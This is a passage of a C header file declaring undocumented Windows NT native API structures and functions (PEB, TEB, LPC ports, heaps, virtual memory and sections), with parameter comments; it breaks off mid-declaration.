2893 | 2894 | // 2895 | // Where heap manager keeps track of all heaps created for a process 2896 | // Fields initialized by MmCreatePeb. ProcessHeaps is initialized 2897 | // to point to the first free byte after the PEB and MaximumNumberOfHeaps 2898 | // is computed from the page size used to hold the PEB, less the fixed 2899 | // size of this data structure. 2900 | // 2901 | 2902 | ULONG NumberOfHeaps; 2903 | ULONG MaximumNumberOfHeaps; 2904 | PVOID *ProcessHeaps; 2905 | 2906 | // 2907 | // 2908 | PVOID GdiSharedHandleTable; 2909 | PVOID ProcessStarterHelper; 2910 | PVOID GdiDCAttributeList; 2911 | PVOID LoaderLock; 2912 | 2913 | // 2914 | // Following fields filled in by MmCreatePeb from system values and/or 2915 | // image header. These fields have changed since Windows NT 4.0, 2916 | // so use with caution 2917 | // 2918 | 2919 | ULONG OSMajorVersion; 2920 | ULONG OSMinorVersion; 2921 | USHORT OSBuildNumber; 2922 | USHORT OSCSDVersion; 2923 | ULONG OSPlatformId; 2924 | ULONG ImageSubsystem; 2925 | ULONG ImageSubsystemMajorVersion; 2926 | ULONG ImageSubsystemMinorVersion; 2927 | ULONG ImageProcessAffinityMask; 2928 | ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; 2929 | 2930 | } PEB, *PPEB; 2931 | 2932 | 2933 | // 2934 | // Thread environment block 2935 | // 2936 | 2937 | typedef struct _TEB 2938 | { 2939 | NT_TIB NtTib; 2940 | PVOID EnvironmentPointer; 2941 | CLIENT_ID ClientId; 2942 | PVOID ActiveRpcHandle; 2943 | PVOID ThreadLocalStoragePointer; 2944 | PPEB ProcessEnvironmentBlock; 2945 | ULONG LastErrorValue; 2946 | ULONG CountOfOwnedCriticalSections; 2947 | PVOID CsrClientThread; 2948 | PVOID Win32ThreadInfo; 2949 | // Incomplete 2950 | 2951 | } TEB, *PTEB; 2952 | 2953 | 2954 | typedef struct _PROCESS_BASIC_INFORMATION 2955 | { 2956 | NTSTATUS ExitStatus; 2957 | PPEB PebBaseAddress; 2958 | ULONG_PTR AffinityMask; 2959 | KPRIORITY BasePriority; 2960 | ULONG_PTR UniqueProcessId; 2961 | ULONG_PTR InheritedFromUniqueProcessId; 2962 | 2963 | } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; 2964 | 2965 | 2966 | 2967 | #define NtCurrentProcess() ((HANDLE) -1) 2968 | #define NtCurrentThread() ((HANDLE) -2) 2969 | 2970 | NTSYSAPI 2971 | NTSTATUS 2972 | NTAPI 2973 | NtOpenProcess ( 2974 | OUT PHANDLE ProcessHandle, 2975 | IN ACCESS_MASK DesiredAccess, 2976 | IN POBJECT_ATTRIBUTES ObjectAttributes, 2977 | IN PCLIENT_ID ClientId OPTIONAL 2978 | ); 2979 | 2980 | NTSYSCALLAPI 2981 | NTSTATUS 2982 | NTAPI 2983 | NtSuspendProcess( 2984 | IN HANDLE ProcessHandle 2985 | ); 2986 | 2987 | NTSYSCALLAPI 2988 | NTSTATUS 2989 | NTAPI 2990 | NtResumeProcess( 2991 | IN HANDLE ProcessHandle 2992 | ); 2993 | 2994 | NTSYSAPI 2995 | NTSTATUS 2996 | NTAPI 2997 | NtOpenThread ( 2998 | OUT PHANDLE ThreadHandle, 2999 | IN ACCESS_MASK DesiredAccess, 3000 | IN POBJECT_ATTRIBUTES ObjectAttributes, 3001 | IN PCLIENT_ID ClientId OPTIONAL 3002 | ); 3003 | 3004 | NTSYSAPI 3005 | NTSTATUS 3006 | NTAPI 3007 | NtQueryInformationThread( 3008 | IN HANDLE ThreadHandle, 3009 | IN THREADINFOCLASS ThreadInformationClass, 3010 | OUT PVOID ThreadInformation, 3011 | IN ULONG ThreadInformationLength, 3012 | OUT PULONG ReturnLength OPTIONAL 3013 | ); 3014 | 3015 | NTSYSAPI 3016 | NTSTATUS 3017 | NTAPI 3018 | NtQueryInformationProcess( 3019 | IN HANDLE ProcessHandle, 3020 | IN PROCESSINFOCLASS ProcessInformationClass, 3021 | OUT PVOID ProcessInformation, 3022 | IN ULONG ProcessInformationLength, 3023 | OUT PULONG ReturnLength OPTIONAL 3024 | ); 3025 | 3026 | 3027 | NTSYSAPI 3028 | NTSTATUS 3029 | NTAPI 3030 | NtSetInformationProcess ( 3031 | IN HANDLE ProcessHandle, 3032 | IN PROCESSINFOCLASS ProcessInformationClass, 3033 | IN PVOID ProcessInformation, 3034 | IN ULONG ProcessInformationLength 3035 | ); 3036 | 3037 | //------------------------------------------------------------------------------ 3038 | // LPC Functions 3039 | 3040 | #define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC 3041 | 3042 | // LPC connection types 3043 | typedef enum _LPC_TYPE 3044 | { 3045 | LPC_NEW_MESSAGE, // (0) A new message 3046 | LPC_REQUEST, // (1) A request message 3047 | LPC_REPLY, // (2) A reply to a request message 3048 | LPC_DATAGRAM, // (3) 3049 | LPC_LOST_REPLY, // (4) 3050 | LPC_PORT_CLOSED, // (5) Send when port is deleted 3051 | LPC_CLIENT_DIED, // (6) Messages to thread termination ports 3052 | LPC_EXCEPTION, // (7) Messages to thread exception ports 3053 | LPC_DEBUG_EVENT, // (8) Messages to thread debug port 3054 | LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError 3055 | LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort 3056 | 3057 | } LPC_TYPE, *PLPC_TYPE; 3058 | 3059 | // 3060 | // Define header for Port Message 3061 | // 3062 | 3063 | typedef struct _PORT_MESSAGE 3064 | { 3065 | USHORT DataLength; // Length of data following the header (bytes) 3066 | USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) 3067 | USHORT Type; // Type of the message (See LPC_TYPE enum) 3068 | USHORT VirtualRangesOffset; // Offset of array of virtual address ranges 3069 | CLIENT_ID ClientId; // Client identifier of the message sender 3070 | ULONG MessageId; // Identifier of the particular message instance 3071 | union 3072 | { 3073 | ULONG CallbackId; // 3074 | ULONG ClientViewSize; // Size, in bytes, of section created by the sender 3075 | }; 3076 | 3077 | } PORT_MESSAGE, *PPORT_MESSAGE; 3078 | 3079 | // 3080 | // Define structure for initializing shared memory on the caller's side of the port 3081 | // 3082 | 3083 | typedef struct _PORT_VIEW { 3084 | 3085 | ULONG Length; // Size of this structure 3086 | HANDLE SectionHandle; // Handle to section object with 3087 | // SECTION_MAP_WRITE and SECTION_MAP_READ 3088 | ULONG SectionOffset; // The offset in the section to map a view for 3089 | // the port data area. The offset must be aligned 3090 | // with the allocation granularity of the system. 3091 | ULONG ViewSize; // The size of the view (in bytes) 3092 | PVOID ViewBase; // The base address of the view in the creator 3093 | // 3094 | PVOID ViewRemoteBase; // The base address of the view in the process 3095 | // connected to the port. 3096 | } PORT_VIEW, *PPORT_VIEW; 3097 | 3098 | // 3099 | // Define structure for shared memory coming from remote side of the port 3100 | // 3101 | 3102 | typedef struct _REMOTE_PORT_VIEW { 3103 | 3104 | ULONG Length; // Size of this structure 3105 | ULONG ViewSize; // The size of the view (bytes) 3106 | PVOID ViewBase; // Base address of the view 3107 | 3108 | } REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; 3109 | 3110 | /*++ 3111 | 3112 | NtCreatePort 3113 | ============ 3114 | 3115 | Creates a LPC port object. The creator of the LPC port becomes a server 3116 | of LPC communication 3117 | 3118 | PortHandle - Points to a variable that will receive the 3119 | port object handle if the call is successful. 3120 | 3121 | ObjectAttributes - Points to a structure that specifies the object s 3122 | attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, 3123 | OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. 3124 | 3125 | MaxConnectionInfoLength - The maximum size, in bytes, of data that can 3126 | be sent through the port. 3127 | 3128 | MaxMessageLength - The maximum size, in bytes, of a message 3129 | that can be sent through the port. 3130 | 3131 | MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for 3132 | message storage. Zero means default value. 3133 | 3134 | ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). 3135 | 3136 | --*/ 3137 | 3138 | NTSYSAPI 3139 | NTSTATUS 3140 | NTAPI 3141 | NtCreatePort( 3142 | OUT PHANDLE PortHandle, 3143 | IN POBJECT_ATTRIBUTES ObjectAttributes, 3144 | IN ULONG MaxConnectionInfoLength, 3145 | IN ULONG MaxMessageLength, 3146 | IN ULONG MaxPoolUsage 3147 | ); 3148 | 3149 | 3150 | /*++ 3151 | 3152 | NtConnectPort 3153 | ============= 3154 | 3155 | Creates a port connected to a named port (cliend side). 3156 | 3157 | PortHandle - A pointer to a variable that will receive the client 3158 | communication port object handle value. 3159 | 3160 | PortName - Points to a structure that specifies the name 3161 | of the port to connect to. 3162 | 3163 | SecurityQos - Points to a structure that specifies the level 3164 | of impersonation available to the port listener. 3165 | 3166 | ClientView - Optionally points to a structure describing 3167 | the shared memory region used to send large amounts of data 3168 | to the listener; if the call is successful, this will be updated. 3169 | 3170 | ServerView - Optionally points to a caller-allocated buffer 3171 | or variable that receives information on the shared memory region 3172 | used by the listener to send large amounts of data to the 3173 | caller. 3174 | 3175 | MaxMessageLength - Optionally points to a variable that receives the size, 3176 | in bytes, of the largest message that can be sent through the port. 3177 | 3178 | ConnectionInformation - Optionally points to a caller-allocated 3179 | buffer or variable that specifies connect data to send to the listener, 3180 | and receives connect data sent by the listener. 3181 | 3182 | ConnectionInformationLength - Optionally points to a variable that 3183 | specifies the size, in bytes, of the connect data to send 3184 | to the listener, and receives the size of the connect data 3185 | sent by the listener. 3186 | 3187 | --*/ 3188 | 3189 | NTSYSAPI 3190 | NTSTATUS 3191 | NTAPI 3192 | NtConnectPort( 3193 | OUT PHANDLE PortHandle, 3194 | IN PUNICODE_STRING PortName, 3195 | IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, 3196 | IN OUT PPORT_VIEW ClientView OPTIONAL, 3197 | OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, 3198 | OUT PULONG MaxMessageLength OPTIONAL, 3199 | IN OUT PVOID ConnectionInformation OPTIONAL, 3200 | IN OUT PULONG ConnectionInformationLength OPTIONAL 3201 | ); 3202 | 3203 | 3204 | NTSYSAPI 3205 | NTSTATUS 3206 | NTAPI 3207 | ZwConnectPort( 3208 | OUT PHANDLE PortHandle, 3209 | IN PUNICODE_STRING PortName, 3210 | IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, 3211 | IN OUT PPORT_VIEW ClientView OPTIONAL, 3212 | OUT PREMOTE_PORT_VIEW ServerView OPTIONAL, 3213 | OUT PULONG MaxMessageLength OPTIONAL, 3214 | IN OUT PVOID ConnectionInformation OPTIONAL, 3215 | IN OUT PULONG ConnectionInformationLength OPTIONAL 3216 | ); 3217 | 3218 | 3219 | /*++ 3220 | 3221 | NtListenPort 3222 | ============ 3223 | 3224 | Listens on a port for a connection request message on the server side. 3225 | 3226 | PortHandle - A handle to a port object. The handle doesn't need 3227 | to grant any specific access. 3228 | 3229 | ConnectionRequest - Points to a caller-allocated buffer 3230 | or variable that receives the connect message sent to 3231 | the port. 3232 | 3233 | --*/ 3234 | 3235 | 3236 | NTSYSAPI 3237 | NTSTATUS 3238 | NTAPI 3239 | NtListenPort( 3240 | IN HANDLE PortHandle, 3241 | OUT PPORT_MESSAGE RequestMessage 3242 | ); 3243 | 3244 | /*++ 3245 | 3246 | NtAcceptConnectPort 3247 | =================== 3248 | 3249 | Accepts or rejects a connection request on the server side. 3250 | 3251 | PortHandle - Points to a variable that will receive the port object 3252 | handle if the call is successful. 3253 | 3254 | PortContext - A numeric identifier to be associated with the port. 3255 | 3256 | ConnectionRequest - Points to a caller-allocated buffer or variable 3257 | that identifies the connection request and contains any connect 3258 | data that should be returned to requestor of the connection 3259 | 3260 | AcceptConnection - Specifies whether the connection should 3261 | be accepted or not 3262 | 3263 | ServerView - Optionally points to a structure describing 3264 | the shared memory region used to send large amounts of data to the 3265 | requestor; if the call is successful, this will be updated 3266 | 3267 | ClientView - Optionally points to a caller-allocated buffer 3268 | or variable that receives information on the shared memory 3269 | region used by the requestor to send large amounts of data to the 3270 | caller 3271 | 3272 | --*/ 3273 | 3274 | 3275 | NTSYSAPI 3276 | NTSTATUS 3277 | NTAPI 3278 | NtAcceptConnectPort( 3279 | OUT PHANDLE PortHandle, 3280 | IN PVOID PortContext OPTIONAL, 3281 | IN PPORT_MESSAGE ConnectionRequest, 3282 | IN BOOLEAN AcceptConnection, 3283 | IN OUT PPORT_VIEW ServerView OPTIONAL, 3284 | OUT PREMOTE_PORT_VIEW ClientView OPTIONAL 3285 | ); 3286 | 3287 | /*++ 3288 | 3289 | NtCompleteConnectPort 3290 | ===================== 3291 | 3292 | Completes the port connection process on the server side. 3293 | 3294 | PortHandle - A handle to a port object. The handle doesn't need 3295 | to grant any specific access. 3296 | 3297 | --*/ 3298 | 3299 | 3300 | NTSYSAPI 3301 | NTSTATUS 3302 | NTAPI 3303 | NtCompleteConnectPort( 3304 | IN HANDLE PortHandle 3305 | ); 3306 | 3307 | 3308 | NTSYSAPI 3309 | NTSTATUS 3310 | NTAPI 3311 | ZwCompleteConnectPort( 3312 | IN HANDLE PortHandle 3313 | ); 3314 | 3315 | 3316 | /*++ 3317 | 3318 | NtRequestPort 3319 | ============= 3320 | 3321 | Sends a request message to a port (client side) 3322 | 3323 | PortHandle - A handle to a port object. The handle doesn't need 3324 | to grant any specific access. 3325 | 3326 | RequestMessage - Points to a caller-allocated buffer or variable 3327 | that specifies the request message to send to the port. 3328 | 3329 | --*/ 3330 | 3331 | NTSYSAPI 3332 | NTSTATUS 3333 | NTAPI 3334 | NtRequestPort ( 3335 | IN HANDLE PortHandle, 3336 | IN PPORT_MESSAGE RequestMessage 3337 | ); 3338 | 3339 | /*++ 3340 | 3341 | NtRequestWaitReplyPort 3342 | ====================== 3343 | 3344 | Sends a request message to a port and waits for a reply (client side) 3345 | 3346 | PortHandle - A handle to a port object. The handle doesn't need 3347 | to grant any specific access. 3348 | 3349 | RequestMessage - Points to a caller-allocated buffer or variable 3350 | that specifies the request message to send to the port. 3351 | 3352 | ReplyMessage - Points to a caller-allocated buffer or variable 3353 | that receives the reply message sent to the port. 3354 | 3355 | --*/ 3356 | 3357 | NTSYSAPI 3358 | NTSTATUS 3359 | NTAPI 3360 | NtRequestWaitReplyPort( 3361 | IN HANDLE PortHandle, 3362 | IN PPORT_MESSAGE RequestMessage, 3363 | OUT PPORT_MESSAGE ReplyMessage 3364 | ); 3365 | 3366 | 3367 | NTSYSAPI 3368 | NTSTATUS 3369 | NTAPI 3370 | ZwRequestWaitReplyPort( 3371 | IN HANDLE PortHandle, 3372 | IN PPORT_MESSAGE RequestMessage, 3373 | OUT PPORT_MESSAGE ReplyMessage 3374 | ); 3375 | 3376 | 3377 | /*++ 3378 | 3379 | NtReplyPort 3380 | =========== 3381 | 3382 | Sends a reply message to a port (Server side) 3383 | 3384 | PortHandle - A handle to a port object. The handle doesn't need 3385 | to grant any specific access. 3386 | 3387 | ReplyMessage - Points to a caller-allocated buffer or variable 3388 | that specifies the reply message to send to the port. 3389 | 3390 | --*/ 3391 | 3392 | 3393 | NTSYSAPI 3394 | NTSTATUS 3395 | NTAPI 3396 | NtReplyPort( 3397 | IN HANDLE PortHandle, 3398 | IN PPORT_MESSAGE ReplyMessage 3399 | ); 3400 | 3401 | /*++ 3402 | 3403 | NtReplyWaitReplyPort 3404 | ==================== 3405 | 3406 | Sends a reply message to a port and waits for a reply message 3407 | 3408 | PortHandle - A handle to a port object. The handle doesn't need 3409 | to grant any specific access. 3410 | 3411 | ReplyMessage - Points to a caller-allocated buffer or variable 3412 | that specifies the reply message to send to the port. 3413 | 3414 | --*/ 3415 | 3416 | NTSYSAPI 3417 | NTSTATUS 3418 | NTAPI 3419 | NtReplyWaitReplyPort( 3420 | IN HANDLE PortHandle, 3421 | IN OUT PPORT_MESSAGE ReplyMessage 3422 | ); 3423 | 3424 | 3425 | /*++ 3426 | 3427 | NtReplyWaitReceivePort 3428 | ====================== 3429 | 3430 | Optionally sends a reply message to a port and waits for a 3431 | message 3432 | 3433 | PortHandle - A handle to a port object. The handle doesn't need 3434 | to grant any specific access. 3435 | 3436 | PortContext - Optionally points to a variable that receives 3437 | a numeric identifier associated with the port. 3438 | 3439 | ReplyMessage - Optionally points to a caller-allocated buffer 3440 | or variable that specifies the reply message to send to the port. 3441 | 3442 | ReceiveMessage - Points to a caller-allocated buffer or variable 3443 | that receives the message sent to the port. 3444 | 3445 | --*/ 3446 | 3447 | NTSYSAPI 3448 | NTSTATUS 3449 | NTAPI 3450 | NtReplyWaitReceivePort( 3451 | IN HANDLE PortHandle, 3452 | OUT PVOID *PortContext OPTIONAL, 3453 | IN PPORT_MESSAGE ReplyMessage OPTIONAL, 3454 | OUT PPORT_MESSAGE ReceiveMessage 3455 | ); 3456 | 3457 | //----------------------------------------------------------------------------- 3458 | // Heap functions 3459 | 3460 | #define HEAP_NO_SERIALIZE 0x00000001 3461 | #define HEAP_GROWABLE 0x00000002 3462 | #define HEAP_GENERATE_EXCEPTIONS 0x00000004 3463 | #define HEAP_ZERO_MEMORY 0x00000008 3464 | #define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010 3465 | #define HEAP_TAIL_CHECKING_ENABLED 0x00000020 3466 | #define HEAP_FREE_CHECKING_ENABLED 0x00000040 3467 | #define HEAP_DISABLE_COALESCE_ON_FREE 0x00000080 3468 | #define HEAP_CREATE_ALIGN_16 0x00010000 3469 | #define HEAP_CREATE_ENABLE_TRACING 0x00020000 3470 | #define HEAP_MAXIMUM_TAG 0x0FFF 3471 | #define HEAP_PSEUDO_TAG_FLAG 0x8000 3472 | 3473 | // 3474 | // Data structure for heap definition. This includes various 3475 | // sizing parameters and callback routines, which, if left NULL, 3476 | // result in default behavior 3477 | // 3478 | 3479 | typedef struct RTL_HEAP_PARAMETERS { 3480 | ULONG Length; //sizeof(RTL_HEAP_PARAMETERS) 3481 | ULONG SegmentReserve; 3482 | ULONG SegmentCommit; 3483 | ULONG DeCommitFreeBlockThreshold; 3484 | ULONG DeCommitTotalFreeThreshold; 3485 | ULONG MaximumAllocationSize; 3486 | ULONG VirtualMemoryThreshold; 3487 | ULONG InitialCommit; 3488 | ULONG InitialReserve; 3489 | PVOID CommitRoutine; 3490 | ULONG Reserved; 3491 | } RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; 3492 | 3493 | 3494 | #define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap) 3495 | 3496 | 3497 | NTSYSAPI 3498 | HANDLE 3499 | NTAPI 3500 | RtlCreateHeap ( 3501 | IN ULONG Flags, 3502 | IN PVOID BaseAddress OPTIONAL, 3503 | IN ULONG SizeToReserve, 3504 | IN ULONG SizeToCommit, 3505 | IN BOOLEAN Lock OPTIONAL, 3506 | IN PRTL_HEAP_PARAMETERS Definition OPTIONAL 3507 | ); 3508 | 3509 | 3510 | NTSYSAPI 3511 | ULONG 3512 | NTAPI 3513 | RtlDestroyHeap ( 3514 | IN HANDLE HeapHandle 3515 | ); 3516 | 3517 | 3518 | NTSYSAPI 3519 | PVOID 3520 | NTAPI 3521 | RtlAllocateHeap ( 3522 | IN HANDLE HeapHandle, 3523 | IN ULONG Flags, 3524 | IN ULONG Size 3525 | ); 3526 | 3527 | 3528 | NTSYSAPI 3529 | BOOLEAN 3530 | NTAPI 3531 | RtlFreeHeap ( 3532 | IN HANDLE HeapHandle, 3533 | IN ULONG Flags, 3534 | IN PVOID Address 3535 | ); 3536 | 3537 | 3538 | NTSYSAPI 3539 | ULONG 3540 | NTAPI 3541 | RtlCompactHeap ( 3542 | IN HANDLE HeapHandle, 3543 | IN ULONG Flags 3544 | ); 3545 | 3546 | 3547 | NTSYSAPI 3548 | BOOLEAN 3549 | NTAPI 3550 | RtlLockHeap ( 3551 | IN HANDLE HeapHandle 3552 | ); 3553 | 3554 | 3555 | NTSYSAPI 3556 | BOOLEAN 3557 | NTAPI 3558 | RtlUnlockHeap ( 3559 | IN HANDLE HeapHandle 3560 | ); 3561 | 3562 | 3563 | NTSYSAPI 3564 | PVOID 3565 | NTAPI 3566 | RtlReAllocateHeap ( 3567 | IN HANDLE HeapHandle, 3568 | IN ULONG Flags, 3569 | IN PVOID Address, 3570 | IN ULONG Size 3571 | ); 3572 | 3573 | 3574 | NTSYSAPI 3575 | ULONG 3576 | NTAPI 3577 | RtlSizeHeap ( 3578 | IN HANDLE HeapHandle, 3579 | IN ULONG Flags, 3580 | IN PVOID Address 3581 | ); 3582 | 3583 | 3584 | NTSYSAPI 3585 | BOOLEAN 3586 | NTAPI 3587 | RtlValidateHeap ( 3588 | IN HANDLE HeapHandle, 3589 | IN ULONG Flags, 3590 | IN PVOID Address OPTIONAL 3591 | ); 3592 | 3593 | 3594 | //----------------------------------------------------------------------------- 3595 | // Virtual memory functions 3596 | 3597 | NTSYSAPI 3598 | NTSTATUS 3599 | NTAPI 3600 | NtAllocateVirtualMemory ( 3601 | IN HANDLE ProcessHandle, 3602 | IN OUT PVOID *BaseAddress, 3603 | IN ULONG ZeroBits, 3604 | IN OUT PULONG RegionSize, 3605 | IN ULONG AllocationType, 3606 | IN ULONG Protect 3607 | ); 3608 | 3609 | 3610 | NTSYSAPI 3611 | NTSTATUS 3612 | NTAPI 3613 | ZwAllocateVirtualMemory ( 3614 | IN HANDLE ProcessHandle, 3615 | IN OUT PVOID *BaseAddress, 3616 | IN ULONG ZeroBits, 3617 | IN OUT PULONG RegionSize, 3618 | IN ULONG AllocationType, 3619 | IN ULONG Protect 3620 | ); 3621 | 3622 | 3623 | NTSYSAPI 3624 | NTSTATUS 3625 | NTAPI 3626 | NtFreeVirtualMemory ( 3627 | IN HANDLE ProcessHandle, 3628 | IN OUT PVOID *BaseAddress, 3629 | IN OUT PULONG RegionSize, 3630 | IN ULONG FreeType 3631 | ); 3632 | 3633 | 3634 | NTSYSAPI 3635 | NTSTATUS 3636 | NTAPI 3637 | ZwFreeVirtualMemory ( 3638 | IN HANDLE ProcessHandle, 3639 | IN OUT PVOID *BaseAddress, 3640 | IN OUT PULONG RegionSize, 3641 | IN ULONG FreeType 3642 | ); 3643 | 3644 | 3645 | NTSYSAPI 3646 | NTSTATUS 3647 | NTAPI 3648 | NtReadVirtualMemory( 3649 | IN HANDLE ProcessHandle, 3650 | IN PVOID BaseAddress, 3651 | OUT PVOID Buffer, 3652 | IN ULONG NumberOfBytesToRead, 3653 | OUT PULONG NumberOfBytesRead OPTIONAL 3654 | ); 3655 | 3656 | 3657 | NTSYSAPI 3658 | NTSTATUS 3659 | NTAPI 3660 | NtWriteVirtualMemory( 3661 | IN HANDLE ProcessHandle, 3662 | IN PVOID BaseAddress, 3663 | IN PVOID Buffer, 3664 | IN ULONG NumberOfBytesToWrite, 3665 | OUT PULONG NumberOfBytesWritten OPTIONAL 3666 | ); 3667 | 3668 | 3669 | //----------------------------------------------------------------------------- 3670 | // Section functions 3671 | 3672 | typedef enum _SECTION_INHERIT 3673 | { 3674 | ViewShare = 1, 3675 | ViewUnmap = 2 3676 | 3677 | } SECTION_INHERIT; 3678 | 3679 | 3680 | typedef enum _SECTION_INFORMATION_CLASS 3681 | { 3682 | SectionBasicInformation, 3683 | SectionImageInformation 3684 | 3685 | } SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS; 3686 | 3687 | 3688 | /*++ 3689 | 3690 | NtCreateSection 3691 | =============== 3692 | 3693 | Creates a section object. 3694 | 3695 | SectionHandle - Points to a variable that will receive the section 3696 | object handle if the call is successful. 3697 | 3698 | DesiredAccess - Specifies the type of access that the caller requires 3699 | to the section object. This parameter can be zero, or any combination 3700 | of the following flags: 3701 | 3702 | SECTION_QUERY - Query access 3703 | SECTION_MAP_WRITE - Can be written when mapped 3704 | SECTION_MAP_READ - Can be read when mapped 3705 | SECTION_MAP_EXECUTE - Can be executed when mapped 3706 | SECTION_EXTEND_SIZE - Extend access 3707 | SECTION_ALL_ACCESS - All of the preceding + 3708 | STANDARD_RIGHTS_REQUIRED 3709 | 3710 | ObjectAttributes - Points to a structure that specifies the object s attributes. 3711 | OBJ_OPENLINK is not a valid attribute for a section object. 3712 | 3713 | MaximumSize - Optionally points to a variable that specifies the size, 3714 | in bytes, of the section. If FileHandle is zero, the size must be 3715 | specified; otherwise, it can be defaulted from the size of the file 3716 | referred to by FileHandle. 3717 | 3718 | SectionPageProtection - The protection desired for the pages 3719 | of the section when the section is mapped. This parameter can take 3720 | one of the following values: 3721 | 3722 | PAGE_READONLY 3723 | PAGE_READWRITE 3724 | PAGE_WRITECOPY 3725 | PAGE_EXECUTE 3726 | PAGE_EXECUTE_READ 3727 | PAGE_EXECUTE_READWRITE 3728 | PAGE_EXECUTE_WRITECOPY 3729 | 3730 | AllocationAttributes - The attributes for the section. This parameter must 3731 | be a combination of the following values: 3732 | 3733 | SEC_BASED 0x00200000 // Map section at same address in each process 3734 | SEC_NO_CHANGE 0x00400000 // Disable changes to protection of pages 3735 | SEC_IMAGE 0x01000000 // Map section as an image 3736 | SEC_VLM 0x02000000 // Map section in VLM region 3737 | SEC_RESERVE 0x04000000 // Reserve without allocating pagefile storage 3738 | SEC_COMMIT 0x08000000 // Commit pages; the default behavior 3739 | SEC_NOCACHE 0x10000000 // Mark pages as non-cacheable 3740 | 3741 | FileHandle - Identifies the file from which to create the section object. 3742 | The file must be opened with an access mode compatible with the protection 3743 | flags specified by the Protect parameter. If FileHandle is zero, 3744 | the function creates a section object of the specified size backed 3745 | by the paging file rather than by a named file in the file system. 3746 | 3747 | --*/ 3748 | 3749 | 3750 | NTSYSAPI 3751 | NTSTATUS 3752 | NTAPI 3753 | NtCreateSection( 3754 | OUT PHANDLE SectionHandle, 3755 | IN ACCESS_MASK DesiredAccess, 3756 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 3757 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 3758 | IN ULONG SectionPageProtection, 3759 | IN ULONG AllocationAttributes, 3760 | IN HANDLE FileHandle OPTIONAL 3761 | ); 3762 | 3763 | 3764 | NTSYSAPI 3765 | NTSTATUS 3766 | NTAPI 3767 | ZwCreateSection( 3768 | OUT PHANDLE SectionHandle, 3769 | IN ACCESS_MASK DesiredAccess, 3770 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 3771 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 3772 | IN ULONG SectionPageProtection, 3773 | IN ULONG AllocationAttributes, 3774 | IN HANDLE FileHandle OPTIONAL 3775 | ); 3776 | 3777 | 3778 | NTSYSAPI 3779 | NTSTATUS 3780 | NTAPI 3781 | NtOpenSection ( 3782 | OUT PHANDLE SectionHandle, 3783 | IN ACCESS_MASK DesiredAccess, 3784 | IN POBJECT_ATTRIBUTES ObjectAttributes 3785 | ); 3786 | 3787 | 3788 | NTSYSAPI 3789 | NTSTATUS 3790 | NTAPI 3791 | ZwOpenSection ( 3792 | OUT PHANDLE SectionHandle, 3793 | IN ACCESS_MASK DesiredAccess, 3794 | IN POBJECT_ATTRIBUTES ObjectAttributes 3795 | ); 3796 | 3797 | 3798 | NTSYSAPI 3799 | NTSTATUS 3800 | NTAPI 3801 | NtMapViewOfSection ( 3802 | IN HANDLE SectionHandle, 3803 | IN HANDLE ProcessHandle, 3804 | IN OUT PVOID *BaseAddress, 3805 | IN ULONG ZeroBits, 3806 | IN ULONG CommitSize, 3807 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, 3808 | IN OUT PULONG ViewSize, 3809 | IN SECTION_INHERIT InheritDisposition, 3810 | IN ULONG AllocationType, 3811 | IN ULONG Protect 3812 | ); 3813 | 3814 | 3815 | NTSYSAPI 3816 | NTSTATUS 3817 | NTAPI 3818 | ZwMapViewOfSection ( 3819 | IN HANDLE SectionHandle, 3820 | IN HANDLE ProcessHandle, 3821 | IN OUT PVOID *BaseAddress, 3822 | IN ULONG ZeroBits, 3823 | IN ULONG CommitSize, 3824 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, 3825 | IN OUT PULONG ViewSize, 3826 | IN SECTION_INHERIT InheritDisposition, 3827 | IN ULONG AllocationType, 3828 | IN ULONG Protect 3829 | ); 3830 | 3831 | 3832 | NTSYSAPI 3833 | NTSTATUS 3834 | NTAPI 3835 | NtUnmapViewOfSection ( 3836 | IN HANDLE ProcessHandle, 3837 | IN PVOID BaseAddress 3838 | ); 3839 | 3840 | 3841 | NTSYSAPI 3842 | NTSTATUS 3843 | NTAPI 3844 | ZwUnmapViewOfSection ( 3845 | IN HANDLE ProcessHandle, 3846 | IN PVOID BaseAddress 3847 | ); 3848 | 3849 | 3850 | NTSYSAPI 3851 | NTSTATUS 3852 | NTAPI 3853 | NtExtendSection ( 3854 | IN HANDLE SectionHandle, 3855 | IN OUT PLARGE_INTEGER SectionSize 3856 | ); 3857 | 3858 | 3859 | NTSYSAPI 3860 | NTSTATUS 3861 | NTAPI 3862 | ZwExtendSection ( 3863 | IN HANDLE SectionHandle, 3864 | IN OUT PLARGE_INTEGER SectionSize 3865 | ); 3866 | 3867 | 3868 | NTSYSAPI 3869 | NTSTATUS 3870 | NTAPI 3871 | NtQuerySection ( 3872 | IN HANDLE SectionHandle, 3873 | IN SECTION_INFORMATION_CLASS SectionInformationClass, 3874 | OUT PVOID SectionInformation, 3875 | IN ULONG Length, 3876 | OUT PULONG ResultLength OPTIONAL 3877 | ); 3878 | 3879 | 3880 | NTSYSAPI 3881 | NTSTATUS 3882 | NTAPI 3883 | ZwQuerySection ( 3884 | IN HANDLE SectionHandle, 3885 | IN SECTION_INFORMATION_CLASS SectionInformationClass, 3886 | OUT PVOID SectionInformation, 3887 | IN ULONG Length, 3888 | OUT 